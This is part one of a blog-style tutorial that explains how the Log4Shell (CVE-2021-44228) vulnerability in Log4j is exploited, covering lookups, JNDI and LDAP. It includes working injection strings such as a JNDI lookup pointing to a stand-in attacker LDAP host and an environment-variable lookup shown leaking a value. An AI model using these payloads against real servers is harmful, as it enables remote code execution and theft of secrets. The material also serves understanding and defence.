A practical guide for exploiting the Log4j vulnerability

Part one: The anatomy of an attack

According to Wikipedia, “Log4Shell (CVE-2021-44228) was a zero-day vulnerability in Log4j, a popular Java logging framework, involving arbitrary code execution.” [5]

The vulnerability has gone unnoticed since “2013 and was privately disclosed to the Apache Software Foundation by Chen Zhaojun of Alibaba Cloud’s security team on 24 November 2021. On 9 December 2021 it was publicly disclosed. Apache rated Log4Shell a CVSS severity score of 10, the highest one available.”[5] This exploit is easy to execute and is estimated to affect hundreds of millions of devices.

The vulnerability takes advantage of Log4j’s way of allowing requests to arbitrary LDAP and JNDI servers. This facilitates attackers to execute arbitrary Java code on a server, or to leak sensitive information. Affected commercial services include Amazon Web Services, Cloudflare, iCloud, Minecraft: Java Edition, Steam, Tencent QQ and many others. According to Wiz and EY, the “vulnerability affected 93% of enterprise cloud environments”.[5]

There are several pieces of the Log4j puzzle that work together in order for this vulnerability to be exploitable. We will go through each of them below.

  1. Log4j log expression

Logger logger = LogManager.getLogger(“MyClass”)

logger.info(“Search term was {}”, “fruits”);

The above code will instantiate a logger using the LogManager mechanism from Log4j. Then it will output the string “Search term was fruits” to the console when the application is run. The curly braces {} act as a placeholder for the string “fruits”. This is a pretty standard way of logging in Java.

  1. JNDI (Java Naming Directory Interface)

It allows Java objects to be stored in a remote location and then serialize them. These can be “streamed” back to the JVM. What does this mean is if we have the following LDAP URL,

ldap://localhost:10389/gn=john,ou=users,dc=example,dc=com we can invoke this URL and get a serialized Java object from a remote machine. That object is located at that URL in the Active Directory. This has nothing to do with Log4j logging per se, but it is a feature that’s been available in Java for quite some time. You can disable it, leave it as it is, but it’s still there in Java.

  1. JNDI lookups in the log messages

String MALICIOUS_TERM = “${jndi:ldap://localhost:10389/gn=john,ou=users,dc=example,dc=com}”;

LOGGER.info(“Search term was {}”, MALICIOUS_TERM);

Log4j performs lookups for certain types of strings. If the string you pass in has this special syntax: ${, dollar sign followed by a curly brace, then this is a hint for Log4j to look it up. Since the string has a JNDI prefix, it will be a JNDI lookup and it’s going to look up the value and insert inside the curly braces. The value will be the serialized object found at that LDAP URL.

Another example of this is when the prefix is ENV.

String MALICIOUS_TERM = “${env:MAVEN_HOME}”;

LOGGER.info(“Search term was {}”, MALICIOUS_TERM);

In the above case, this will be an environmental variable lookup and the output will be the value of that environmental variable – in our case, the path for MAVEN_HOME.

  1. LDAP

Lightweight directory access protocol (LDAP) is a protocol that makes it possible for applications to query user information rapidly. In addition, LDAP can be seen as a tool for extracting and editing data stored in Active Directory and other compatible directory service providers. Each user account in an AD has several attributes, such as the user’s full name and email address. ApacheDirectoryStudio is an application that provides both a built-in LDAP server and a client for establishing a connection to the server. After connecting to the server, there are some default objects defined that can be browsed and queried.

Tying it all up together: exploit steps

  1. Data from a web-client gets sent to the server (via any protocol)

2.The vulnerable web application logs the data containing the malicious payload from the request, i.e. ${jndi:ldap://evil.xa/x}, where evil.xa is an attacker controlled LDAP server

  1. The Log4j vulnerability is triggered by this payload and the server makes a request to evil.xa LDAP server via “Java Naming and Directory Interface” (JNDI)
  2. The response contains a path to a remote Java class file (i.e. http://second-stage.some-attacker.com/Exploit.class), which is injected into the server process.
  3. This injected payload triggers a second stage, and allows an attacker to execute arbitrary code

A deeper look into the anatomy of the attack

Image Source: https://www.tblocks.com/articles/how-to-prevent-a-log4j-jndi-attack/

In step 1, an attacker inserts the JNDI lookup in a header field that is likely to be logged. This can be also a search term from UI, or anything else that can be logged, not necessarily a header. In step 2, the malicious string is passed to log4j for logging. Then, at step 3, the log4j interpolates the string and queries the malicious LDAP server. In step 4, the LDAP server responds with directory information that contains the malicious Java class. This step displays a representation of an object created in LDAP server. Among other attributes, this object contains entries (key-value pairs) like: javaClassName, javaCodebase and javaSerializedData. We will see how these are populated and what exactly is their meaning in the demo later in this article. 

It’s important to note, the javaCodebase attribute represents a URL path where the actual exploit class (i.e. Exploit.class) resides. In step 5, Java deserializes the malicious Java class into an object instance and executes its malicious code (since, as the diagram shows, the code is put in a static block).

The image displays also the possible mitigations for this attack at each step.

Demo

The attack consists of several parts:

1. A vulnerable web-app

  • A web application that uses a vulnerable version of log4j for logging different information

    2. The exploit
  • A malicious Java class that will remotely execute its code. This will happen when the log manager will try to log the modified payload.

3. The LDAP server/client

  • A tool used to craft a specific malicious LDAP object that is going to hold the serialized exploit payload. The URL of this object will be served to the Log4j as the malicious information for it to log.

4. An external server which holds the actual Java compiled class containing the exploit

For the purposes of this demo, the vulnerable web application that we’re going to exploit is a very basic one developed using Spring Boot library. It only consists of a controller that serves a list of employees when the client accesses http://localhost:8080.

In the getEmployees() method, we simulate the logging of a search term from an UI interface. For simplicity, we have used an already defined constant called MALICIOUS_TERM that will hold the string we want to search for in the app. We will not perform any actual search, but will just log the search term since this is the part that is vulnerable to this attack. We’ve hardcoded the search string because it is easier than developing an HTML page that will hold just a search input in it. For the moment, don’t mind the MALICIOUS_TERM constant’s value. The logger used to log the search term is part of the vulnerable log4j library.

The first method we can use to exploit this web application is to pass in a malicious term that contains the name of an environment variable.

private final static String MALICIOUS_TERM = “${env:MAVEN_HOME}”;

LOGGER.info(“Search term was {}”, MALICIOUS_TERM);

When the above code executes, the Log4j will perform a JNDI lookup for MAVEN_HOME environment variable and it will print out its content.

2022-05-05 10:47:25 INFO  EmployeeController:26 – Search term was /Users/Shared/previosly-relocated-items/security/work/apache-maven-3.6.1

However, this is relatively harmless since the MAVEN_HOME it’s not quite an interesting information to gather, there are other environment variables like AWS_KEY and AWS_SECRET which are much more sensitive. 

Now that we’re familiar with the anatomy of an attack, in the second part of this article, we explore more exploits, including a more dangerous exploit, remote code execution (RCE).

Article sources

  1. https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf
  2. https://www.youtube.com/watch?v=uyq8yxWO1ls
  3. https://www.ietf.org/rfc/rfc2713.txt
  4. https://docs.oracle.com/javase/jndi/tutorial/objects/representation/ldap.html
  5. https://en.wikipedia.org/wiki/Log4Shell
  6. https://www.lunasec.io/docs/blog/log4j-zero-day/
  7. https://www.incibe-cert.es/en/blog/log4shell-analysis-vulnerabilities-log4j 
  8. https://blogs.blackberry.com/en/2021/12/the-log4shell-log4j-vulnerability-cve-2021-44228-explained
  9. https://www.tblocks.com/articles/how-to-prevent-a-log4j-jndi-attack/